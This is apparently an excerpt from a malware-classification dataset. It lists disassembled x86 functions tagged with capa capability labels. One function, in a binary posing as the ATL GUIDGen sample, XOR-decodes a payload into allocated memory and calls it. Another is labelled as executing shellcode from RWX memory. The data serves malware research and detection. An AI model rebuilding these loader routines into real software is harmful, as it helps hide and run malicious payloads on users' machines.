joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406920
Capabilities:
Terminate process

Disassembly:
push ebx
push edi
push esi
sub esp, 0x10
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], eax
mov cx, word [0x49b5e6]
mov ax, cx
dec eax
mov dx, ax
mov word [0x49b5e6], dx
movsx eax, cx
cmp eax, 0xa190cb37
jge 0x4069a1
mov eax, 0x40300201
mov cx, word [0x49e02c]
mov dx, cx
inc edx
mov si, dx
mov word [0x49e02c], si
movsx edx, cx
mov edi, dword [0x499ff0]
mov ebx, edi
inc ebx
mov dword [0x499ff0], ebx
add edi, 0x22119760
or edx, edi
cmp eax, edx
je 0x40699c
mov eax, dword [0x496b68]
xor eax, 0xf269c5e4
mov dword [0x496b68], eax
jmp 0x4069b9
mov ax, word [0x49d9ba]
mov cx, ax
or ecx, 0xfa2
mov ax, cx
mov word [0x49d9ba], ax
mov eax, 1
mov ecx, dword [0x49e630]
mov edx, esp
mov dword [edx], ecx
mov dword [esp + 8], eax
call fcn.0043a720
mov ecx, dword [0x49a800]
shl ecx, 2
or ecx, 0x6e80a3e2
mov edx, dword [0x499f88]
xor edx, ecx
mov dword [0x499f88], edx
mov dword [esp], 1
mov byte [esp + 7], al
call fcn.0045c341
int3
Function at 0x42db20
Capabilities:
Hash data with md5

Disassembly:
push edi
push esi
sub esp, 8
mov dword [esp + 4], ecx
mov eax, ecx
mov edx, dword [0x49b060]
inc edx
mov dword [0x49b060], edx
imul edx, edx, 0x18f924ca
mov esi, dword [0x497b3c]
or esi, edx
mov dword [0x497b3c], esi
mov dword [ecx], 0
mov edx, dword [0x49a1bc]
add edx, 0x56d4a4b6
mov di, word [0x49bd62]
mov si, di
and esi, edx
mov di, si
mov word [0x49bd62], di
mov dword [ecx + 4], 0
mov dword [0x496858], 0x259f61b0
mov dword [ecx + 8], 0x67452301
mov ecx, dword [0x499a74]
mov di, word [0x49e00c]
movsx edx, di
imul ecx, edx
mov edx, dword [0x49837c]
mov esi, edx
dec esi
mov dword [0x49837c], esi
xor edx, 0x2b9b5abc
cmp ecx, edx
mov dword [esp], eax
jle 0x42dbcf
mov eax, dword [0x495f20]
imul eax, eax, 0x922a4fef
mov dword [0x495f20], eax
mov eax, dword [esp]
mov dword [eax + 0xc], 0xefcdab89
mov ecx, dword [0x49a81c]
and ecx, 0xe9bf
mov dx, word [0x49cfd2]
mov si, dx
add esi, ecx
mov dx, si
mov word [0x49cfd2], dx
mov dword [eax + 0x10], 0x98badcfe
mov dx, word [0x49d264]
mov cx, dx
dec ecx
mov di, cx
mov word [0x49d264], di
movsx ecx, dx
xor ecx, 0x81030528
mov esi, dword [0x4977d0]
sub esi, ecx
mov dword [0x4977d0], esi
mov dword [eax + 0x14], 0x10325476
mov dx, word [0x49b492]
movsx ecx, dx
not ecx
and ecx, 0x31867f39
mov esi, dword [0x4995c4]
xor esi, ecx
mov dword [0x4995c4], esi
add esp, 8
pop esi
pop edi
ret
Function at 0x4720d3
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x493870]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0046f18d
mov dword [ebp - 0x14], eax
cmp dword [0x49fc0c], esi
jne 0x4721c6
push 0x800
push esi
push 0x4867a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x472153
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4722a6
push esi
push esi
push 0x4867a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4722a6
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4722a6
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x49fc0c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x49fc10], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x49fc14], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x49fc1c], eax
test eax, eax
je 0x4721c3
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x49fc18], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4721eb
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4721de
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x472200
push 4
pop eax
jmp 0x4722a8
cmp dword [ebp - 0x14], esi
je 0x472200
push dword [0x49fc0c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4721e5
mov eax, dword [0x49fc18]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x47225e
cmp dword [0x49fc1c], edi
je 0x47225e
push eax
call ebx
push dword [0x49fc1c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x47225e
test eax, eax
je 0x47225e
call ecx
test eax, eax
je 0x472253
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x472253
test byte [ebp - 8], 1
jne 0x47225e
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x47228e
mov eax, dword [0x49fc10]
cmp eax, edi
je 0x47228b
push eax
call ebx
test eax, eax
je 0x47228b
call eax
mov esi, eax
test esi, esi
je 0x47228b
mov eax, dword [0x49fc14]
cmp eax, edi
je 0x47228b
push eax
call ebx
test eax, eax
je 0x47228b
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x49fc0c]
call ebx
test eax, eax
je 0x4722a6
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4722a8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00460dc4
mov esp, ebp
pop ebp
ret
Function at 0x40a5f3
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, ecx
test esi, esi
jne 0x40a606
push 0xd
pop eax
jmp 0x40a62e
push edi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x40a609
push edi
push dword [ebp + 0xc]
push 7
push 0
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x40ade5
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x681870]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x10c], esi
mov dword [ebp - 0x108], esi
call fcn.0040a562
mov ebx, eax
cmp ebx, esi
je 0x40ae50
lea ecx, [ebp - 0x10c]
call fcn.0040a4ed
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040f7b1
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x40ae6e
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x10c]
call fcn.0040ade5
cmp eax, esi
jne 0x40aeb5
lea eax, [ebp - 0x11c]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push esi
push dword [ebp - 0x10c]
mov dword [ebp - 0x110], 0x100
call ebx
test eax, eax
je 0x40ae58
lea ecx, [ebp - 0x10c]
call fcn.0040a4ed
push dword [ebp - 0x114]
mov ecx, edi
call fcn.0040a47e
lea ecx, [ebp - 0x10c]
mov esi, eax
call fcn.0040a4ed
mov eax, esi
jmp 0x40ae3f
Function at 0x40ccaa
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x304
mov eax, dword [0x681870]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
call fcn.0040ca3e
push dword [esi + 4]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x40cd08
push 0xff
lea eax, [ebp - 0x104]
push eax
push 0x7d1
push dword [0x68316c]
call dword [sym.imp.USER32.dll_LoadStringA]
push 0
push str.GUIDGen
lea eax, [ebp - 0x104]
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40cd6b
push edi
lea eax, [ebp - 0x304]
push eax
mov ecx, esi
call fcn.0040ca9a
lea eax, [ebp - 0x304]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
push esi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
je 0x40cd64
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
lea ecx, [ebp - 0x304]
push ecx
push eax
call fcn.00412ab0
add esp, 0xc
call dword [sym.imp.USER32.dll_EmptyClipboard]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop esi
call fcn.0040f7b1
leave
ret 0x10
Function at 0x40cf22
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov esi, 0x20006
push esi
push str.SoftwareMicrosoftATLSamplesGUIDGen
mov dword [ebp - 8], ecx
xor edi, edi
mov ebx, 0x80000001
push ebx
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], edi
call fcn.0040a562
cmp eax, edi
je 0x40d004
push esi
push str.SoftwareMicrosoft
push ebx
lea ecx, [ebp - 0x10]
call fcn.0040a562
cmp eax, edi
jne 0x40d024
push edi
push edi
push esi
push edi
push edi
push 0x45a848
push dword [ebp - 0x10]
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
call fcn.0040a508
mov dword [ebp - 4], eax
cmp eax, edi
jne 0x40cff7
push edi
push edi
push esi
push edi
push edi
push str.Samples
push dword [ebp - 0x20]
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
call fcn.0040a508
mov dword [ebp - 4], eax
cmp eax, edi
jne 0x40cfef
push edi
push edi
push esi
push edi
push edi
push str.GUIDGen
push dword [ebp - 0x18]
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
call fcn.0040a508
lea ecx, [ebp - 0x10]
call fcn.0040a4ed
push esi
push str.SoftwareMicrosoftATLSamplesGUIDGen
push ebx
lea ecx, [ebp - 0x10]
call fcn.0040a562
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], eax
call fcn.0040a4ed
lea ecx, [ebp - 0x18]
call fcn.0040a4ed
lea ecx, [ebp - 0x20]
call fcn.0040a4ed
cmp dword [ebp - 4], edi
jne 0x40d024
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x24]
push 4
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 4
push edi
push str.GUID_Type
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 8]
push dword [eax + 4]
call dword [sym.imp.USER32.dll_DestroyWindow]
movzx eax, word [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_PostQuitMessage]
lea ecx, [ebp - 0x10]
call fcn.0040a4ed
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x40d4eb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x427f79
call fcn.0040f85f
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x428], eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x424], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
cmp esi, ebx
je 0x40d599
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
push 2
push eax
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x41c]
push eax
call fcn.0040a147
add esp, 0xc
test eax, eax
jl 0x40d599
mov edi, dword [ebp - 0x41c]
cmp edi, 0x400
jg 0x40d57f
push edi
call fcn.0040ad6b
pop ecx
test al, al
je 0x40d57f
mov eax, edi
call fcn.0040fe80
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x40d58b
push edi
lea ecx, [ebp - 0x424]
call fcn.0040af34
push 3
push edi
push esi
push eax
call fcn.0040a265
cmp eax, ebx
jne 0x40d5d0
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x40d5b2
lea ecx, [ebp - 0x418]
call fcn.0040ac40
lea ecx, [ebp - 0x424]
call fcn.0040aaef
mov eax, 0x8007000e
lea esp, [ebp - 0x440]
call fcn.0040f8bb
ret 0x10
push 2
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
mov dword [ebp - 0x41c], edi
cmp edi, ebx
jne 0x40d5f2
call fcn.0040a357
mov esi, eax
jmp 0x40d6ec
push dword [ebp - 0x420]
push dword [ebp - 0x428]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
jne 0x40d615
call fcn.0040a357
jmp 0x40d6de
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x420], eax
cmp eax, ebx
je 0x40d60b
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
lea eax, [esi + 1]
mov dword [ebp - 0x428], esi
cmp eax, esi
jae 0x40d66e
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x40d657
lea ecx, [ebp - 0x418]
call fcn.0040ac40
mov esi, 0x8007000e
lea ecx, [ebp - 0x424]
call fcn.0040aaef
mov eax, esi
jmp 0x40d5c2
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.0040b755
mov dword [ebp - 4], 1
jmp 0x40d69c
cmp dword [ebp - 0x418], ebx
jne 0x40d6ab
mov esi, 0x8007000e
jmp 0x40d6e0
push esi
push dword [ebp - 0x420]
push esi
push dword [ebp - 0x418]
call fcn.0040a2d7
mov eax, dword [ebp - 0x418]
add esp, 0x10
push dword [ebp + 0x14]
mov byte [eax + esi], bl
push dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
call fcn.0040c5a4
mov esi, eax
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x40d65c
lea ecx, [ebp - 0x418]
call fcn.0040ac40
jmp 0x40d65c
Function at 0x40e065
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push 0x7c
mov eax, 0x42808b
call fcn.0040f829
xor esi, esi
mov dword [ebp - 0x88], vtable.WTL::CMessageLoop.0
mov dword [ebp - 0x84], esi
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
lea eax, [ebp - 0x88]
push eax
mov ecx, 0x6825e8
mov dword [ebp - 4], esi
call fcn.0040c465
lea ecx, [ebp - 0x48]
call fcn.0040c759
push esi
push esi
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 1
call fcn.0040d49c
test eax, eax
jne 0x40e0ec
mov byte [ebp - 4], 0
cmp dword [ebp - 0x34], esi
je 0x40e0d1
push dword [ebp - 0x34]
call fcn.004276f1
lea ecx, [ebp - 0x78]
call fcn.00409de0
lea ecx, [ebp - 0x84]
call fcn.00409dc3
xor eax, eax
call fcn.0040f8ac
ret
push esi
push dword [ebp - 0x44]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x40
push 0x3000
lea eax, [ebp - 0x50]
push eax
push esi
lea eax, [ebp - 0x4c]
push eax
push 0xffffffffffffffff
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x50], 0x1d6544
call fcn.004015d6
add esp, 0x18
cmp eax, esi
jl 0x40e0c0
cmp dword [ebp - 0x50], esi
jbe 0x40e1cb
mov eax, esi
push 0x32
cdq
pop ecx
idiv ecx
push str.5668
mov bl, byte [edx + 0x45a94c]
xor bl, byte [esi + 0x4aa010]
call fcn.00412e44
mov ecx, dword [ebp - 0x4c]
lea edi, [esi + ecx]
sub edi, eax
mov dword [esp], str.6786
call fcn.00412e44
sub edi, eax
mov dword [esp], 0x45a938
call fcn.00412e44
sub edi, eax
mov dword [esp], 0x45a930
call fcn.00412e44
sub edi, eax
mov dword [esp], 0x45a928
call fcn.00412e44
sub edi, eax
mov dword [esp], str.2618
call fcn.00412e44
add edi, eax
mov dword [esp], 0x45a914
call fcn.00412e44
add edi, eax
mov dword [esp], 0x45a90c
call fcn.00412e44
add edi, eax
mov dword [esp], str.9967
call fcn.00412e44
inc esi
mov byte [eax + edi], bl
pop ecx
cmp esi, dword [ebp - 0x50]
jb 0x40e127
xor esi, esi
call dword [ebp - 0x4c]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40e347
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
cmp byte [eax], 0
mov dword [ebp - 4], 0x7d720d83
je 0x40e4ce
push ebx
push esi
push edi
mov dword [ebp + 8], eax
mov ebx, 0x45a938
mov edi, str.6786
mov esi, str.5668
push str.9967
call fcn.00412e44
mov ecx, dword [ebp + 8]
mov cx, word [ecx]
sub cx, ax
movzx eax, cx
mov dword [ebp - 8], eax
mov dword [esp], 0x45a90c
call fcn.00412e44
mov ecx, dword [ebp - 8]
sub ecx, eax
mov dword [ebp - 8], ecx
mov dword [esp], 0x45a914
call fcn.00412e44
mov ecx, dword [ebp - 8]
sub ecx, eax
mov dword [ebp - 8], ecx
mov dword [esp], str.2618
call fcn.00412e44
mov ecx, dword [ebp - 8]
sub ecx, eax
mov dword [ebp - 8], ecx
mov dword [esp], 0x45a928
call fcn.00412e44
mov ecx, dword [ebp - 8]
add eax, ecx
mov dword [ebp - 8], eax
mov dword [esp], 0x45a930
call fcn.00412e44
mov ecx, dword [ebp - 8]
add eax, ecx
push ebx
mov dword [ebp - 8], eax
call fcn.00412e44
mov ecx, dword [ebp - 8]
add eax, ecx
push edi
mov dword [ebp - 8], eax
call fcn.00412e44
mov ecx, dword [ebp - 8]
add eax, ecx
push esi
mov dword [ebp - 8], eax
call fcn.00412e44
add eax, dword [ebp - 8]
inc dword [ebp + 8]
movzx eax, ax
push esi
mov dword [ebp - 8], eax
call fcn.00412e44
movzx ecx, word [ebp - 8]
sub ecx, eax
mov eax, dword [ebp - 4]
ror eax, 8
add ecx, eax
push edi
mov dword [ebp - 8], ecx
call fcn.00412e44
mov ecx, dword [ebp - 8]
sub ecx, eax
push ebx
mov dword [ebp - 8], ecx
call fcn.00412e44
mov ecx, dword [ebp - 8]
sub ecx, eax
push 0x45a930
mov dword [ebp - 8], ecx
call fcn.00412e44
mov ecx, dword [ebp - 8]
sub ecx, eax
push 0x45a928
mov dword [ebp - 8], ecx
call fcn.00412e44
mov ecx, dword [ebp - 8]
sub ecx, eax
push str.2618
mov dword [ebp - 8], ecx
call fcn.00412e44
mov ecx, dword [ebp - 8]
add eax, ecx
mov dword [ebp - 8], eax
push 0x45a914
call fcn.00412e44
mov ecx, dword [ebp - 8]
add eax, ecx
push 0x45a90c
mov dword [ebp - 8], eax
call fcn.00412e44
mov ecx, dword [ebp - 8]
add eax, ecx
push str.9967
mov dword [ebp - 8], eax
call fcn.00412e44
add eax, dword [ebp - 8]
add esp, 0x34
xor dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp byte [eax], 0
jne 0x40e374
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 4]
leave
ret
Function at 0x40f7b1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x681870]
jne 0x40f7bb
repz ret
jmp fcn.0041770c

Function at 0x41eaeb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041443b
and dword [ebp - 4], 0
cmp dword [0x682fd8], 0
mov ebx, eax
jne 0x41eb9c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41ec4d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x45c850
push edi
call esi
test eax, eax
je 0x41ec4d
push eax
call fcn.004143c9
mov dword [esp], 0x45c840
push edi
mov dword [0x682fd8], eax
call esi
push eax
call fcn.004143c9
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x682fdc], eax
call esi
push eax
call fcn.004143c9
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x682fe0], eax
call esi
push eax
call fcn.004143c9
pop ecx
mov dword [0x682fe8], eax
test eax, eax
je 0x41eb9c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004143c9
pop ecx
mov dword [0x682fe4], eax
mov eax, dword [0x682fe4]
cmp eax, ebx
je 0x41ebf4
cmp dword [0x682fe8], ebx
je 0x41ebf4
push eax
call fcn.00414444
push dword [0x682fe8]
mov esi, eax
call fcn.00414444
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x41ebf4
test edi, edi
je 0x41ebf4
call esi
test eax, eax
je 0x41ebeb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41ebeb
test byte [ebp - 0xc], 1
jne 0x41ebf4
or dword [ebp + 0x10], 0x200000
jmp 0x41ec2d
mov eax, dword [0x682fdc]
cmp eax, ebx
je 0x41ec2d
push eax
call fcn.00414444
pop ecx
test eax, eax
je 0x41ec2d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x41ec2d
mov eax, dword [0x682fe0]
cmp eax, ebx
je 0x41ec2d
push eax
call fcn.00414444
pop ecx
test eax, eax
je 0x41ec2d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x682fd8]
call fcn.00414444
pop ecx
test eax, eax
je 0x41ec4d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x41ec4f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4277a8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x68312c], 0
push esi
jne 0x427716
call fcn.0042762a
test eax, eax
je 0x427759
mov eax, dword [0x68312c]
cmp eax, 1
jne 0x427737
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x427759
pop esi
ret
push eax
call dword [0x683134]
test eax, eax
jne 0x4277a1
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x42775d
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x68312c]
call dword [0x683134]
mov edi, eax
test edi, edi
je 0x427782
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x42779e
mov edi, esi
add esi, 0xff0
push edi
push dword [0x68312c]
call dword [0x683130]
add edi, 0x10
cmp edi, esi
jb 0x42778a
mov eax, edi
pop edi
pop esi
ret
jmp 0x427703
Function at 0x4019c0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x49536c]
xor eax, ebp
mov dword [ebp - 4], eax
lea edx, [ebp - 0x20c]
sub edx, ecx
nop dword [eax + eax]
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx + ecx - 2], ax
test ax, ax
jne 0x4019e0
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401a00
sub ecx, edx
sar ecx, 1
cmp word [ebp + ecx*2 - 0x20e], 0x5c
jne 0x401a36
lea eax, [ecx*2 - 2]
cmp eax, 0x208
jae 0x401aef
xor ecx, ecx
mov word [ebp + eax - 0x20c], cx
mov ax, word [ebp - 0x20a]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push esi
lea esi, [ebp - 0x20a]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ax, ax
je 0x401a98
movzx ecx, ax
nop word [eax + eax]
cmp cx, 0x5c
jne 0x401a8a
xor eax, eax
push eax
mov word [esi], ax
lea eax, [ebp - 0x20c]
push eax
call ebx
test eax, eax
jne 0x401a82
call edi
cmp eax, 0xb7
jne 0x401ac6
mov eax, 0x5c
mov word [esi], ax
movzx eax, word [esi + 2]
add esi, 2
mov ecx, eax
test ax, ax
jne 0x401a60
push 0
lea eax, [ebp - 0x20c]
push eax
call ebx
test eax, eax
jne 0x401ad9
call edi
xor ecx, ecx
cmp eax, 0xb7
pop edi
sete cl
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045693d
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045693d
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045693d
mov esp, ebp
pop ebp
ret
call fcn.00456a6d
int3
Function at 0x40adf0
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x40ae7c
push esi
call fcn.0041ca80
add esp, 4
test al, al
jne 0x40ae7c
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x40ae13
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.00428280
add esp, 0xc
test eax, eax
je 0x40ae47
sub eax, esi
push eax
push 0x2e
push esi
call fcn.00428280
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x40ae49
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
mov ebx, 0x1505
add edi, esi
cmp esi, edi
jae 0x40ae75
mov al, byte [esi]
push eax
call fcn.004197d0
movsx ecx, al
inc esi
mov eax, ebx
add esp, 4
shl eax, 5
add eax, ebx
xor ecx, eax
mov ebx, ecx
cmp esi, edi
jb 0x40ae57
pop edi
movzx eax, bl
pop ebx
pop esi
ret
xor eax, eax
pop esi
ret